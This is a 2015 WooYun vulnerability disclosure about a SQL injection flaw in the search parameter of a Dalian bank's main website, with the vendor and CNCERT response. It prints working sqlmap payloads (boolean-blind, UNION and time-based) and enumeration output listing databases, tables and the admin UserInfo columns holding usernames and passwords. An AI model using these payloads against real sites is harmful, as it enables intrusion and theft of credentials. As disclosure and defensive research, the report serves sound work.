当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141705

漏洞标题:大连某银行主站SQL注入导致敏感信息泄露(支持Union)

相关厂商:大连某银行

漏洞作者: 路人甲

提交时间:2015-09-19 10:23

修复时间:2015-11-05 16:08

公开时间:2015-11-05 16:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-19: 细节已通知厂商并且等待厂商处理中
2015-09-21: 厂商已经确认,细节仅向厂商公开
2015-10-01: 细节向核心白帽子及相关领域专家公开
2015-10-11: 细节向普通白帽子公开
2015-10-21: 细节向实习白帽子公开
2015-11-05: 细节向公众公开

简要描述:

注入

详细说明:

大连农商银行主站存在SQL注入一枚,导致数据库信息泄露..

漏洞证明:

话不多说,直接上图:
SQL注入地址如下(注入参数为searchText)
http://**.**.**.**/newswebui/newsearchmapframe.aspx?organid=&searchText=
SQLMAP测试结果如下:

sqlmap identified the following injection points with a total of 967 HTTP(s) requests:
---
Place: GET
Parameter: searchText
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: organid=&searchText=' AND 6374=6374 AND 'vXvN' LIKE 'vXvN
Type: UNION query
Title: Generic UNION query (87) - 10 columns
Payload: organid=&searchText=-1044' UNION ALL SELECT 87,CHAR(113)+CHAR(107)+CHAR(120)+CHAR(104)+CHAR(113)+CHAR(75)+CHAR(65)+CHAR(107)+CHAR(89)+CHAR(74)+CHAR(110)+CHAR(83)+CHAR(90)+CHAR(114)+CHAR(83)+CHAR(113)+CHAR(104)+CHAR(120)+CHAR(109)+CHAR(113),87,87,87,87,87,87,87,87--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: organid=&searchText=-2765' OR 4193=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'GtfF' LIKE 'GtfF
---
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008


一共包含8个数据库

web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
available databases [8]:
[*] CmsDB
[*] dlrcb
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb


当前数据库为:CmsDB

web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
current database: 'CmsDB'


该数据库包含15 tables:

web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
Database: CmsDB
[15 tables]
+--------------------+
| ATTACHINFO |
| DictInfo |
| FriendshipInfo |
| OrganInfo |
| PROGRAMARTICLEINFO |
| PROGRAMINFO |
| PRO_CONTENT_INFO |
| PRO_DIR_MASTER |
| PRO_LINK_SET |
| PRO_NEWS_SET |
| RolePowerInfo |
| UserAndRole |
| UserInfo |
| UserRole |
| sqlmapoutput |
+--------------------+


看一下UserInfo

web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
Database: CmsDB
Table: UserInfo
[6 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| DeptID | varchar |
| Remark | varchar |
| UserDes | varchar |
| UserID | char |
| UserName | varchar |
| UserPass | varchar |
+----------+---------+


该表包含管理员用户名、密码等

2.png


dlrcb数据库包含11表:

web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
Database: dlrcb
[11 tables]
+--------------------+
| ATTACHINFO |
| NewsCatalogPower |
| PROGRAMARTICLEINFO |
| PROGRAMINFO |
| PRO_CONTENT_INFO |
| PRO_LINK_SET |
| PRO_NEWS_SET |
| RolePowerInfo |
| UserAndRole |
| UserInfo |
| UserRole |
+--------------------+


看一下该表的UserInfo:

web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
Database: dlrcb
Table: UserInfo
[6 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| DeptID | varchar |
| Remark | varchar |
| UserDes | varchar |
| UserID | char |
| UserName | varchar |
| UserPass | varchar |
+----------+---------+


包含一个管理员信息

1.png


ReportServer数据库包含33表,网速慢,就不跑了

3.png


OK,问题证明到此。

修复方案:

过滤字符。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-21 16:07

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给辽宁分中心,由辽宁分中心后续协调网站管理单位处置

最新状态:

暂无